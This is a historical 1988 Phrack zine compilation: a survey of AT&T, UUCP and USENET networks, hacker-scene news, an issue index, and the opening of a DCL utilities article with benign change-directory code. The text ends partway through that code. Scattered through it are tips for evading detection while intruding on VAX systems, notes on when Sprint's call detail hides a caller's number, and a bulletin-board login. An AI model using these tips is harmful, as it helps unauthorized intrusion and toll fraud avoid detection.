The Tribunal of Knowledge presents..

A Few Things About Networks

==============

Brought to you by Prime Suspect (TOK)

June 1, 1988

Seems like if you're into hacking you sometime or another run into using networks, whether it be Telenet, Tymnet, or one of the Wide Area Networks. One popular Network that hackers have used for some time is Arpanet. Arpanet has been around for quite a long time. There are changes made to it almost daily and the uses of it are much more than just logging into other systems. Many college students find themselves getting acquainted with Bitnet these days. Bitnet is SO new compared to other networks that it's got a lot of potential left. There is much more to it then just mail and file transfers. There are interactive uses such as the RELAY for real‑time discussion with others (equivalent to a CB mode) and another popular use is the network information center to receive technical files about networking. There are many many mail addresses that are used for database searching, and subscribing to electronic magazines. You will find these same uses on other Wide Area Networks also. I will give you 3 related network areas. These three areas include: The AT&T company networks, UUCP, and Usenet cooperative networks. Please note that some of the information I gathered for this file dated back to 1986. But I tried to keep it as current as possible.

AT&T (Company Network)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AT&T has some internal networks, most of which use internally developed transport mechanisms. Their most widely used networks are UUCP and USENET, which are not limited to that corporation and which are discussed later. All internal AT&T networks support UUCP‑style h1!h2!h!u source routing syntax and thus appear to the user to be UUCP. Within AT&T, UUCP links are typically over 1,200‑bps dial‑up telephone lines or Datakit (see below). Among AT&T's other networks, CORNET is an internal analog phone network used by UUCP and modems as an alternative to Direct Distance Dialing (DDD). Datakit is a circuit‑switched digital net and is similar to X.25 in some ways. Most of Bell Laboratories is trunked together on Datakit. On top of DK transport service, people run UUCP for mail and dkcu for remote login. In addition to host‑to‑host connections. Datakit supports RS232 connections for terminals, printers, and hosts. ISN is the version of Datakit supported by AT&T Information Systems. Bell Laboratories in Holmdel, New Jersey, uses ISN for internal data communication. BLICN (Bell Labs Interlocation Computing Network) is an IBM mainframe RJE network dating from the early 1970s when Programmer's Workbench (PWB) was a common version of the UNIX operating system. Many UNIX machines with PWB‑style RJE links use BLICN to queue mail and netnews for other UNIX machines. A major USENET host uses this mechanism to feed news to about 80 neighbor hosts. BLICN covers Bell Laboratories installations in New Jersey, Columbus, Ohio, and Chicago, and links most computer center machines. BLN (Bell Labs Network) is an NSC Hyperchannel at Indian Hill, Chicago.

AT&T Internet is a TCP/IP internet. It is not a major AT&T network, though some of the best‑known machines are on it. There are many ethernets connected by TCP/IP over Datakit. This internet may soon be connected to the ARPA Internet.

ACCUNET is AT&T's commercial X.25 network. AT&T MAIL is a commercial service that is heavily used within AT&T Information Systems for corporate internal mail.

UUCP (Cooperative Network)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The name "UUCP," for Unix to Unix CoPy, originally applied to a transport service used over dial‑ups between adjacent systems. File transfer and remote command execution were the original intent and main use of UUCP. There was an assumption that any pair of communicating machines had direct dial‑up links, that is, that no relaying was done through intermediate machines. By the end of 1978, there were 82 hosts within Bell Laboratories connected by UUCP. Though remote command execution and file transfer were heavily used, there is no mention of mail in the standard reference. There was another similar network of "operational" hosts with UUCP links that were apparently outside Bell Laboratories, but still within the Bell System. The two networks intersected at one Bell Laboratory machine.

Both of these early networks differed from the current UUCP network in assuming direct connections between communicating hosts and in not having mail service. The UUCP mail network proper developed from the early networks and spread as the UUCP programs were distributed as part of the Unix system. Remote command execution can be made to work over successive links by arranging for each job in the chain to submit the next one. There are several programs that do this: Unfortunately, they are all incompatible. There is no facility at the transport level for routing beyond adjacent systems or for error acknowledgement. All routing and end‑to‑end reliability support is done explicitly by application protocols implemented using the remote command execution facility. There has never been any remote login facility associated with UUCP, though the cu and tip programs are sometimes used over the same telephone links.

The UUCP mail network connects a very diverse set of machines and users. Most of the host machines run the UNIX operating system. Mail is the only service provided throughout the network. In addition to the usual uses of mail, much traffic is generated as responses to USENET news. The same underlying UUCP transport mechanisms are also used to support much of USENET.

The UUCP mail network has many problems with routing (it is one of the few major networks that uses source routing) and with its scale. Nonetheless, it is extremely popular and still growing rapidly. This is attributable to three circumstances: ease of connection, low cost, and its close relationship with the USENET news network.

Mailing lists similar to those long current on the ARPANET have recently increased in popularity on the UUCP mail network. These permit a feature that USENET newsgroups cannot readily supply: a limitation on access on a per‑person basis. Also, for low‑traffic discussions mailing lists are more economical, since traffic can be directed to individuals according to their specific interests.

There is no central administration. To connect to the network, one need only find one machine that will agree to be a neighbor. For people at other hosts to be able to find your host, however, it is good to be registered in the UUCP map, which is kept by the group of volunteers known as the UUCP Project. The map is posted monthly in the USENET newsgroup "comp.mail.maps". There is a directory of personal addresses on the UUCP network, although this is a commercial venture unrelated to the UUCP Project.

Each host pays for it's own links; some hosts encourage others to connect to them in order to shorten mail delivery paths.

There is no clear distinction between transport and network layers in UUCP, and there is nothing resembling an Internet Protocol. The details of the transport protocol are undocumented (apparently not actually proprietary to AT&T, contrary to rumor, though the source code that implements the protocol and is distributed with UNIX is AT&T's trade secret).

Mail is transferred by submitting a mail command over a direct connection by the UUCP remote command execution mechanism. The arguments of the mail command indicate whether the mail is to be delivered locally on that system or resubmitted to another system. In the early days, it was necessary to guess the route to a given host and hope. The only method of acknowledgment was to ask the addressee to reply. Now there is a program (pathalias) that can compute reasonable routes from the UUCP map, and there is software that can automatically look up those routes for users.

The UUCP mail network is currently supported in North America mostly by dial‑up telephone links. In Europe there is a closely associated network called EUnet, and in Japan there is JUNET.

The most common dial‑up link speed on the UUCP mail network is 1,200 bps though there are still a few 300‑bps links, and 2,400 bps is becoming more popular. Actually, now I believe that 1200‑bps is still very common, but 2400 may be just as common, and 9600‑bps is much more common than ever thought it would be in 1986. There are also many sites that use 19,200‑bps for using UUCP. When systems are very close, they are sometimes linked by dedicated lines, often running at 9,600 bps. Some UUCP links are run over local‑area networks such as ethernets, sometimes on top of TCP/IP (though more appropriate protocols than UUCP are usually used over such transport media, when UUCP is used it's usual point‑to‑point error correction code is bypassed to take advantage of the reliability of the underlying network and to improve bandwidth). Some such links even exist on long‑haul packet networks. The widespread use of more sophisticated mail relay programs (such as sendmail and MMDF) has increased reliability. Still, there are many hosts with none of these new facilities, and the sheer size of the network makes it unwieldly.

The UUCP mail network has traditionally used source code routing with a syntax like hosta!hostb!hostc!host!user. The UUCP map and pathalias have made this bearable, but it is still a nuisance. An effort is underway to alleviate the routing problems by implementing naming in the style of ARPA Internet domains. This might also allow integration of the UUCP name space into the ARPA Internet domain name space. In fact there is now an ATT.COM domain in which most hosts are only on UUCP or CSNET. Most UUCP hosts are not yet in any Internet domain, however. This domain effort is also handled by the UUCP Project and appears to be proceeding at a methodical but persistent pace. The hardware used in the UUCP mail network ranges from small personal computers through workstations to minicomputers, mainframes and supercomputers. The network extends throughout most of North America and parts of Asia (Korea and Israel). Including hosts on the related networks JUNET (in Japan) and EUnet (in Europe), there are at least 7,000 hosts on the network; possibly 10,000 or more. (EUnet and JUNET hosts are listed in the UUCP maps.) The UUCP Project addresses are:

uucp‑query@cbatt.ATT.COM

cbatt!uucp‑query

uucp‑query@cbatt.UUCP

Much information about UUCP is published in USENET newsgroups.

USENET (Cooperative Network)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

USENET began in 1980 as a medium of communication between users of two machines, one at the University of North Carolina, the other at Duke University. It has since grown exponentially to its current size of more than 2000 machines. In the process, the software has been rewritten several times, and the transport mechanisms now used to support it include not only the original UUCP links, but also X.25, ACSNET, and others.

USENET combines the idea of mailing lists as long used on the ARPANET with bulletin‑board service such as has existed for many years on TOPS‑20 and other systems, adding a freedom of subject matter that could never exist on the ARPANET, and reaching a more varied constituency. While chaotic and inane ramblings abound, the network is quite popular.

The USENET news network is a distributed computer conferencing system bearing some similarities to commercial conferencing systems like CompuServe, though USENET is much more distributed. Users pursue both technical and social ends on USENET. Exchanges are submitted to newsgroups on various topics, ranging from gardening to astronomy.

The name "USENET" comes from the USENIX Association. The Professional and Technical UNIX User's Group. The name UNIX is a pun on Multics, which is the name of a major predecessor operating system. (The pun indicates that, in areas where Multics tries to do many things, UNIX tries to do one thing well.) USENET has no central administration, though there are newsgroups to which introductory and other information about the network is posted monthly. USENET is currently defined as the set of hosts receiving the newsgroup news.announce. There are about a dozen hosts that constitute the backbone of the network, keeping transit times low by doing frequent transfers among themselves and with other hosts that they feed. Since these hosts bear much of the burden of the network, their administrators tend to take a strong interest in the state of the network. Most newsgroups can be posted to by anyone on the network. For others, it is necessary to mail a submission to a moderator, who decides whether to post it. Most moderators just filter out redundant articles, though some make decisions on other grounds. These newsgroup moderators form another group interested in the state of the network. Newsgroups are created or deleted according to the decisions made after the discussion in the newsgroup "news.groups".

Each host pays its own telephone bills. The backbone hosts have higher bills than most other hosts due to their long‑distance links among themselves. The unit of communication is the news article. Each article is sent by a flooding routing algorithm to all nodes on the network. The transport layer is UUCP for most links, although many others are used, including ethernets, berknets, and long‑haul packet‑switched networks; sometimes UUCP is run on top of the others, and sometimes UUCP is not used at all.

The many problems with USENET (e.g. reader overload, old software, slow propagation speed, and high and unevenly carried costs of transmission) have raised the possibility of using the experience gained in USENET to design a new network to replace it. The new network might also involve at least a partial replacement for the UUCP mail network.

One unusual mechanism that has been proposed to support the new network is stargate. Commercial television broadcasting techniques leave unused bandwidth in the vertical blanking interval between picture frames. Some broadcasters are currently using this part of the signal to transmit Teletext services. Since many cable‑television channels are distributed via geo‑synchronous satellites, a single input to a satellite uplink facility can reach all of North America on an appropriate satellite and channel. A satellite uplink company interested in allowing USENET‑like articles to be broadcast by satellite on a well‑known cable‑television channel has been found. Prototypes of hardware and software to encode the articles and other hardware to decode them from a cable‑television signal have been built and tested in the field for more than a year. A new, reasonably price model of the decoding box may be available soon.

This facility would allow most compatible systems within the footprint (area of coverage) of the satellite and with access to the appropriate cabletelevision channel to obtain decoding equipment and hook into the network at a very reasonable cost. Articles would be submitted for transmission by UUCP links to the satellite uplink facility. Most of the technical problems of Stargate seem to have been solved.

More than 90 percent of all USENET articles reach 90 percent of all hosts on the network within three days. Though there have been some famous bugs that caused loss of articles, that particular problem has become rare. Every USENET host has a name. That host name and the name of the poster are used to identify the source of an article. Though those hosts that are on both the UUCP mail and USENET news networks usually have the same name on both networks, mail addresses have no meaning on USENET: Mail related to USENET articles is usually sent via UUCP mail; it cannot be sent over USENET, by definition. Though the two networks have always been closely related, there are many more hosts on UUCP than on USENET. In Australia the two networks do not even intersect except at one host.

There are different distributions of newsgroups on USENET. Some go everywhere, whereas others are limited to a particular continent, nation, state or province, city, organization, or even machine, though the more local distributions are not really part of USENET proper. The European network EUnet carries some USENET newsgroups and has another set of it's own. JUNET in Japan is similar to EUnet in this regard.

There are about 2000 USENET hosts in the United States, Canada, Australia, and probably in other countries. The hosts on EUnet, SDN, and JUNET communicate with USENET hosts: The total number of news hosts including ones on those three networks is probably at least 2500. The UUCP map includes USENET map information as annotations. A list of legitimate netwide newsgroups is posted to several newsgroups monthly. Volunteers keep statistics on the use of the various newsgroups (all 250 of them) and on frequency of posting by persons and hosts. These are posted to news.newslists once a month, as is the list of newsgroups. Important announcements are posted to moderated newsgroups, news.announce and news.announce.newusers, which are intended to reach all users (the current moderator is Mark Horton, cbosgd!mark). An address for information on the network is seismo!usenet‑request.

News on UUNET ‑ June 1988

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A year ago, UUNET (Fairfax, VA) was formed to help ease the communication load of the beleaguered Usenet network of UNIX users. Usenet connections were becoming increasingly costly and difficult to maintain, a situation that prompted the Usenix Association to fund the creation of the UUNET Communications Service to assist users in accessing Usenet. Now, UUNET has become the "best connected" UNIX computer in the world, and has been authorized to function as an Arpanet mail gateway. Gateways to other networks are expected to be established in the future.

I guess all use of UUNET is done through the UUCP program found on Unix operating systems. Many people are getting PC versions of the Unix Operating system now‑a‑days, so knowing what's available before getting hooked into a network, if that's your plan, is advised. There is an advertisement about UUNET on Bix in the networks conference somewhere. The message may be old, but still useful.

The cost of using UUNET is: $30/month... and $2/hour. I think the hourly charge may only apply if connecting through Tymnet. Not sure.

Accessible via Tymnet, their 800 number, or a regular local POTS number.

Connections can definitely be made up to 9600 baud. 19.2K baud access may also exist. I think it does.

If you're a UUNET user, and want to receive mail from someone through the UUCP network, they would address it just as any other UUCP mail address. An example is: ...uunet!warble!joeuser

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This file has been brought to you by Prime Suspect and Tribunal of Knowledge

Phrack World News XVIII Part I

==Phrack Inc.==

Volume Two, Issue 18, Phile #10 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN >>>>>=‑* Phrack World News *‑=<<<<< PWN PWN Issue XVIII/1 PWN

PWN PWN

PWN Created, Compiled, and Written PWN PWN By: Epsilon PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Intro

=====

Welcome to yet another issue of Phrack World News. We have once again returned to try and bring you an entertaining, and informative newsletter dedicated to the spread of information and knowledge throughout the H/P community.

________________________________________

TOK Re‑Formed

=============

A group called Tribunal Of Knowledge, which has undergone previous re‑formations has once again re‑formed. The person who is currently "in charge" of the group says that he had permission from High Evolutionary, the group's founder, to re‑form the organization. Although the group hasn't publicly announced their existence or written any files, we should be hearing from them in the near future.

The Current Members of TOK Include ‑

Control C

Prime Suspect

Jack Death

The UrVile

The Prophet

Psychic Warlord

Information Provided By Control C, and Prime Suspect.

________________________________________

Phrack Inc. Support Boards

==========================

Phrack Inc. has always made it a habit to set up Phrack Inc. sponsor accounts on the more popular boards around. These sponsor accounts are set up, so that the users may get in touch with the Phrack Magazine staff if they would like to contribute an article, or any other information to our publication. Please take note of the boards on which Phrack Inc. accounts are set up. Thank you.

The Current List of Phrack Inc. Sponsor Boards Includes ‑

P‑80 Systems ‑ 304/744‑2253

OSUNY ‑ 914/725‑4060

The Central Office ‑ 914/234‑3260

Digital Logic's DS ‑ 305/395‑6906

The Forgotten Realm ‑ 618/943‑2399 *

* ‑ Phrack Headquarters

________________________________________

SummerCon '88 Preliminary Planning

==================================

Planning for SummerCon '88 is underway. So far, we have decided on four tentative locations: New York City, Saint Louis, Atlanta, or Florida. Since this is only tentative, no dates have been set or reservations made for a conference.

If you have any comments, suggestions, etc, please let us know. If you are planning to attend SummerCon '88, please let us know as well. Thank you.

Information Provided By The Forgotten Realm.

________________________________________

LOD/H Technical Journal

=======================

Lex Luthor of LOD/H (Legion of Doom/Hackers) has been busy with school, etc., so he has not had the time, nor the initiative to release the next issue of the LOD/H Technical Journal. On this note, he has tentatively turned the Journal over to Phantom Phreaker, who will probably be taking all contributions for the Journal. No additional information is available.

Information Provided By The UrVile and Phantom Phreaker.

________________________________________

Congress To Restrict 976/900 Dial‑A‑Porn Services

========================================

Congress is considering proposals to restrict dial‑up services in an effort to make it difficult for minors to access sexually explicit messages. A House‑Senate committee is currently negotiating the "dial‑a‑porn" proposal. Lawmakers disagree whether or not the proposal is constitutional and are debating the issue of requiring phone companies to offer a service that would allow parents, free of charge, to block the 976/900 services. Other proposals would require customers to pay in advance or use credit cards to access the 976/900 services.

Some companies are currently offering free services that restrict minors from accessing sexually explicit messages. AT&T and Department of Justice officials are cooperating in a nationwide crackdown of "dial‑a‑porn" telephone companies. The FCC recently brought charges against one of AT&T's largest 900 Service customers, and AT&T provided the confidential information necessary in the prosecution. AT&T also agreed to suspend or disconnect services of companies violating the commission ban by transmitting obscene or indecent messages to minors.

________________________________________

Some Hope Left For Victims Of FGD

=================================

US Sprint's famed FGD (Feature Group D) dial‑ups and 800 INWATS exchanges may pose no threat to individuals under switches that do not yet offer equal access service to alternate long distance carriers. Due to the way Feature Group D routes its information, the ten‑digit originating number of the caller is not provided when the call is placed from a non‑equal access area. The following was taken from an explanation of US Sprint's 800 INWATS Service.

********************************

CALL DETAIL

********************************

With US Sprint 800 Service, a customer will receive call detail information for every call on every invoice. The call detail for each call includes:

o Date of call

o Time of call

o The originating city and state

o The ten‑digit number of the caller if the call originates in an equal access area or the NPA of the caller if the non‑equal access area.

o Band into which the call falls

o Duration of the call in minutes

o Cost of the call

This came directly from US Sprint. Do as you choose, but don't depend on this.

Information Provided by US Sprint.

________________________________________

Telenet Bolsters Network With Encryption

========================================

Telenet Communications Corporation strengthened its public data network recently with the introduction of data encryption capability.

The X.25 Encryption Service provides a type of data security previously unavailable on any public data network, according to analysts. For Telenet, the purpose of the offering is "to be more competitive; nobody else does this," according to Belden Menkus, an independent network security consultant based in Middleville, NJ.

The service is aimed at users transmitting proprietary information between host computers, such as insurance or fund‑transfer applications. It is priced at $200 per month per host computer connection. Both the confidentiality and integrity of the data can be protected via encryption.

The scheme provides end‑to‑end data encryption, an alternative method whereby data is decrypted and recrypted at each node in the network. "This is a recognition that end‑to‑end encryption is really preferable to link encryption," Menkus said.

The service is available over both dial‑up and leased lines, and it supports both synchronous and asynchronous traffic at speeds up to 9.6K BPS.

Telenet has approved one particular data encryption device for use with the service, The Cipher X 5000, from Technical Communications Corporation (TCC), a Concord, Massachusetts based vendor. TCC "has been around the data encryption business for quite a while," Menkus said.

The Cipher X implements the National Bureau of Standards' Data Encryption Standard (DES). DES is an algorithm manipulated by a secret 56 bit key. Computers protected with the device can only be accessed by users with a matching key.

The data encryptor is installed at user sites between the host computer and the PAD (Packet Assembler/Disassembler).

Installation of the TCC device does not affect the user's ability to send non‑encrypted data, according to Telenet. By maintaining a table of network addresses that require encryption, the device decides whether or not to encrypt each transmission.

Information Provided by Network World.

________________________________________

Phrack World News XVIII Part II

==Phrack Inc.==

Volume Two, Issue 18, Phile #11 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN >>>>>=‑* Phrack World News *‑=<<<<< PWN PWN Issue XVIII/2 PWN

PWN PWN

PWN Created By Knight Lightning PWN

PWN PWN

PWN Compiled and Written PWN PWN by Epsilon PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Intro

=====

It seems that there is yet some things to be covered. In addendum, we will be featuring, as a part of PWN, a special section where up‑and‑coming H/P Bulletin Boards can be advertised. This will let everyone know where the board scene stands. If you have a board that you feel has potential, but doesn't have good users, let us know. Thanks.

________________________________________

Doctor Cypher Busted?

=====================

Doctor Cypher, who frequents the Altos Chat, The Dallas Hack Shack, Digital Logic's Data Service, The Forgotten Realm, P‑80 Systems, and others, is believed to have had his modem confiscated by "Telephone Company Security," and by his local Sheriff. No charges have been filed as of this date. He says he will be using a friend's equipment to stay in touch with the world.

Information Provided by Hatchet Molly

________________________________________

Give These Boards A Call

========================

These systems have potential, but need good users, so give them a call, and help the world out.

The Autobahn ‑ The Outlet Private ‑

703/629‑4422 313/261‑6141 Primary ‑ 'central' newuser/kenwood Sysop ‑ The Highwayman Sysop ‑ Ax Murderer Hack/Phreak Private Hack/Phreak

Dallas Hack Shack ‑ The Forgotten Realm ‑

214/422‑4307 618/943‑2399 Apply For Access Apply For Access Sysop ‑ David Lightman Sysop ‑ Crimson Death Private Hack/Phreak Private H/P & Phrack Headquarters

________________________________________

AllNet Hacking Is Getting Expensive

===================================

For those of you who hack AllNet Long Distance Service, watch out. AllNet Communications Corp. has announced that they will be charging $500.00 PER ATTEMPT to hack their service. That's not PER VALID CODE, that's PER ATTEMPT. Sources say that The Fugitive (619) received a $200,000.00 phone bill from AllNet.

This may set examples for other long distance communication carriers in the future, so be careful what you do.

________________________________________

Editorial ‑ What Is The Best Way To Educate New Hackers?

========================================

Since the "demise" of Phreak Klass 2600 and PLP, the H/P world has not seen a board dedicated to the education of new hackers. Although PK2600 is still up (806/799‑0016, educate) many of the old "teachers" never call. The board has fallen mainly to new hackers who are looking for teachers. This may pose a problem. If boards aren't the way to educate these people (I think they are the best way, in fact), then what is? Certainly not giant Alliance conferences as in the past, due to recent "black‑listing" of many "conferees" who participated heavily in Alliance Teleconferencing in the past.

I think it might be successful if someone was able to set up another board dedicated to teaching new hackers. A board which is not private, but does voice validate the users as they login. Please leave some feedback as to what you think of this idea, or if you are willing to set this type of system up. Thanks.

________________________________________

US Sprint Employee Scam

=======================

The US Sprint Security Department is currently warning employees of a scam which could be affecting them. An unidentified man has been calling various employees throughout the US Sprint system and telling them that if they give him their FON Card numbers, they will receive an additional US Sprint employee long‑distance credit. The Security Department says, "this is a 100 percent scam." "If you're called to take part in this operation, please call the Security Department at (816)822‑6217."

Information Provided By US Sprint

________________________________________

19

- Phrack Inc. Index by Crimson Death

- DCL Utilities for VMS Hackers by The Mentor

- Digital Multiplexing Systems (Part 2) by Control C

- Social Security Number Formatting by Shooting Shark

- Facility Assignment & Control Systems by Phantom Phreaker

- Phrack Editorial on Microbashing by The Nightstalker

- Phrack World News XVIV (Part 1) by Knight Lightning

- Phrack World News XVIV (Part 2) by Epsilon

Phrack Inc. Index

==Phrack Inc.==

Volume Two, Issue Nineteen, Phile #1 of 8

Index

====

Welcome to Phrack Issue Nineteen! You will notice it is not as long as the last Phrack but this is the month of SummerCon and plans have been made for that. If you are interested just check PWN for details. Also, we do need writers, so if you have a phile or know someone who does, please get in contact with me. The next issue of Phrack will be full size again, but since it is summer we all slowed down a bit. Don't worry though, Phrack will still come out every month. Well, see you at SummerCon!

Crimson Death

Sysop of The Forgotten Realm

Contents:

#1 Phrack Inc. Index by Crimson Death (02k) #2 DCL Utilities for VMS Hackers by The Mentor (23k) #3 Digital Multiplexing Systems (Part 2) by Control C (18k) #4 Social Security Number Formatting by Shooting Shark (03k) #5 Facility Assignment & Control Systems by Phantom Phreaker (11k) #6 Phrack Editorial on Microbashing by The Nightstalker (06k) #7 Phrack World News XVIV (Part 1) by Knight Lightning (04k) #8 Phrack World News XVIV (Part 2) by Epsilon (06k)

DCL Utilities for VMS Hackers

==Phrack Inc.==

Volume Two, Issue 19, Phile #2 of 8

DCL Utilities for the VMS Hacker

>>>>>>>>>>>>>>>>>

By

The Mentor

Special thanks to Silver Spy for turning me onto DCL in the first place!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Anyone who spends time hacking on VAXes (by hacking, I don't just mean trying to get in... I mean *doing* something once you're in!) notices that the DCL command language is extremely powerful. I have put together a selection of utilities that not only should prove helpful to the hacker, but serve as a good example of programming in DCL.

Every attempt has been made to preserve unchanged the user‑environment from the initialization of the file to the exit. Any session‑permanent changes are documented.

Brief Overview of DCL

>>>>>>>>>>>>

There are numerous files out there on DCL (the VMS help files are the best place to find information), so I'm not going to teach you how to program in it. To use the following code, isolate the section of code you want in your favorite text editor, upload it into a file, and name the file <progname>.COM. Anytime you see a file ending with .COM, you know it's a DCL file. DCL files are executed by issuing the command $@FILENAME

or, in the case of a file you want to run as a separate process, $SPAWN/NOWAIT @FILENAME

Table of Contents

>>>>>>>>>>

1. CD.DOC : This is the documentation for CD.COM (and the only documentation file in the bunch.

2. CD.COM : A change directory utility, much like the PC command CD, except more powerful. $SET DEFAULT is a pain in the ass!

3. HUNT.COM : Searches a specified node for a given user. Useful for alerting you to the presence of a sysop. 4. ALARM.COM : An alarm clock. If they check the logs at 8 a.m., you probably want to be off before then. 5. CGO.COM : Included because it's short. Allows you to compile, link, and run a C program with a one‑line command.

I have about 300 more pages of COM files. If you need anything, drop me a line. I'll try and help out. I can be found on Forgotten Realm, or you can call a non‑hacker (local to me) IBM game board if it's an urgent message (The Bastille‑‑ 512/353‑0590 300/1200 24 hrs. It's not the best hacker board in the world, but my mail arrives daily...)

Also, if programming of this type interests you, let me know! I'm considering putting up a board for the discussion of programming (compilers, AI/Expert Systems, Op Systems, etc...). If I get enough positive response, I'll go with it. Leave mail on the aforementioned systems.

The Mentor

CD.COM Version 5.0 VMS Change Directory Command

Sub‑directories are a nice feature on many computers, but they're not always easy to take advantage of. The VMS commands to access sub‑directories are a little obscure, even to PC programmers who are used to using directories.

The solution? CD.COM, a change directory command that works almost the same as the PC‑DOS CD and PROMPT commands:

CD ‑ Display your home directory, current directory, and node name. (Similar to, but better than the VMS SHOW DEFAULT command.)

CD dir_name ‑ Move you to the [dir_name] directory. CD [dir_name] (Same as the SET DEFAULT [dir_name] command.)

CD .sub_name ‑ Move you to the [.sub_name] subdirectory. CD [.sub_name] (Same as the SET DEFAULT [.sub_name] command.)

CD \ ‑ Move you to your home (root) directory, which CD HOME is the directory you are in when you login. CD SYS$LOGIN (Same as the SET DEFAULT SYS$LOGIN command.)

CD .. ‑ Move you to the directory above your CD [‑] current directory. (Same as the VMS SET DEFAULT [‑] command.)

CD ..sub_name ‑ Move you "sideways" from one subdirectory CD [‑.sub_name] to another subdirectory. (Same as the SET DEFAULT [‑.sub_name] command.)

CD * ‑ Select a subdirectory to move to, from a list of subdirectories.

CD . ‑ Reset the current directory.

CD ? ‑ Display instructions for using CD.

The VMS SET DEFAULT command has a flaw: you can change directories to a directory that doesn't exist. CD handles this more elegantly; you're left in the same directory you were in before, and this message appears:

[dir_name] Directory does not exist!

PC‑DOS lets you display the current directory as part of the prompt. (If you haven't seen this feature, try the PC‑DOS command PROMPT $P$G.) CD.COM will change the prompt for you each time you change directories if you include this line in your LOGIN.COM file:

DEFINE SYS$PROMPT "ON"

Without this line, your prompt is not changed from what you have it set as. Instead, your home (root) directory name, current directory name, and node name are displayed whenever you issue the CD command.

Since VMS allows prompts to contain no more than 32 characters, if you change to a subdirectory that would make your prompt too long, CD automatically leaves off some of the higher level sub‑directories to keep your prompt short, and displays a "*" as one of the prompt characters.

CD lets you use directory names defined with with the DEFINE command. For example, if you're in one of Dr. Smiths' CS3358 classes, you might want to define his CS3358 assignments directory like this:

DEFINE SMITH "DISK$CS:[CS.SMITH.3358]"

Then, CD SMITH would move you to this directory. Try it! Also, some directories are already defined by the system. The SHOW LOGICAL command will give you clues to some of these system directories, if you want to go exploring. CD also supports the use of symbols for directory names.

Like with PC‑DOS, VMS directories and sub‑directories are tree structured. The system root directory for your disk has the name [000000], and in it are the names of all the sub‑directories for your disk. The directories for an imaginary user, CS335825305, would be located like this:

System Root Directory:

[000000]

. . .

CS3358 Directories: . . . .

. .

... [CS3358251] [CS3358252] [CS3358253] [CS3358254] ...

.

CS3358253 Directories: . . .

.

... [CS3358253.04HOPE] [CS3358253.05JONES] [CS3358253.06KEY] ...

.

CS335825305 Directories: . .

*.

[CS3358253.05JONES.MAIL] [CS3358253.05JONES.BULL]

If you're not using sub‑directories, but want to, you can create them with the CREATE command:

CREATE/DIR [.sub_name]

VMS allows directories to be seven or eight levels deep, but one or two levels is enough for most users.

VMS also allows the symbols < and > to be used instead of [ and ], to specify directory names. CD fully supports this.

Code for CD.COM

>>>>>>>>>

$! CD.COM v6.09

$! The Ultimate Change Directory Command.

$!

$ hdir = f$trnlnm("SYS$LOGIN") ! Home Directory $ ndir = f$edit(p1,"UPCASE") ! New Directory $ odir = f$environment("DEFAULT") ! Old Directory $ prompton = (f$edit(f$trnlnm("SYS$PROMPT"),"UPCASE") .eqs. "ON") $!

$ if (ndir .eqs. "") then goto DISPLAY ! No Dir

$ if (ndir .eqs. "*") then goto DIRSEARCH ! Search for Dirs $ if (ndir .eqs. "?") then goto HELP ! Instructions $!

$ PARSE:

$ length = f$length(ndir) ! Fix up ndir $ if (f$location("@",ndir) .eq. 0) .or. (f$location("$",ndir) .eq. 0) then ndir = f$extract(1, length ‑ 1, ndir) $ right = f$location("]",ndir) + 1

$ if (right .gt. length) then right = f$location(">", ndir)

$ if (right .le. length) then ndir = f$extract(0, right, ndir) $!

$ if (f$trnlnm(ndir) .eqs. "") then goto CASESYM ! Not Logical Name $ ndir = f$trnlnm(ndir) ! Logical Name $ goto PARSE

$!

$ CASESYM:

$ if ("''&ndir'" .eqs. "") then goto CASE0 ! Not Symbol

$ ndir = 'ndir' ! Symbol

$ goto PARSE

$!

$ CASE0:

$ len_ndir = f$length(ndir) ! Regular Dir $ if (f$location("[", ndir) .lt. len_ndir) .or. (f$location("<", ndir) .lt. len_ndir) then goto SETDIR

$!

$ CASE1: Home Dir

$ if ((ndir .nes. "HOME") .and. (ndir .nes. "\")) then goto CASE2 $ ndir = hdir

$ goto SETDIR

$!

$ CASE2: dir

$ if (f$location(".", ndir) .nes. 0) then goto CASE3

$ if (ndir .eqs. "..") then ndir = "‑"

$ if (f$extract(0, 2, ndir) .eqs. "..") ‑

then ndir = "‑" + f$extract(1, len_ndir ‑ 1, ndir)

$ ndir = "[" + ndir + "]"

$ if (ndir .eqs. "[.]") then ndir = odir

$ goto SETDIR

$!

$ CASE3:

$ if (f$location(":", ndir) .ge. len_ndir) then goto CASE4

$ left = f$location(":", ndir) + 1

$ symbol = f$extract(left, 1, ndir)

$ if (symbol .eqs. ":") then goto CASE3B ! :: Node

$ if ((symbol .eqs. "[") .or. (symbol .eqs. "<")) then goto SETDIR $ ndir = f$extract(0, left, ndir) + "[" ‑

+ f$extract(left, len_ndir ‑ left+1, ndir) + "]"

$ goto SETDIR

$!

$ CASE3B: NODE::nothing

$ if (f$length(ndir)‑1 .gt. left) then goto CASE3C

$ ndir = ndir + "[000000]"

$ goto SETDIR

$!

$ CASE3C: NODE::directory

$ if ((f$location("[", ndir) ‑ f$location("<", ndir)) .ne. 0) then goto SETDIR

$

$ ndir = f$parse(ndir,,,"NODE") + "[" + f$parse(ndir,,,"NAME") + "]" $ goto SETDIR

$!

$ CASE4: dir

$ ndir = "[" + ndir + "]"

$!

$ SETDIR:

$ set default 'ndir'

$ if (f$parse("") .eqs. "") then goto DIRERROR

$!

$ DISPLAY:

$ if ((ndir .nes. "") .and. prompton) then goto NODISPLAY

$ hnode = f$getsyi("NODENAME")

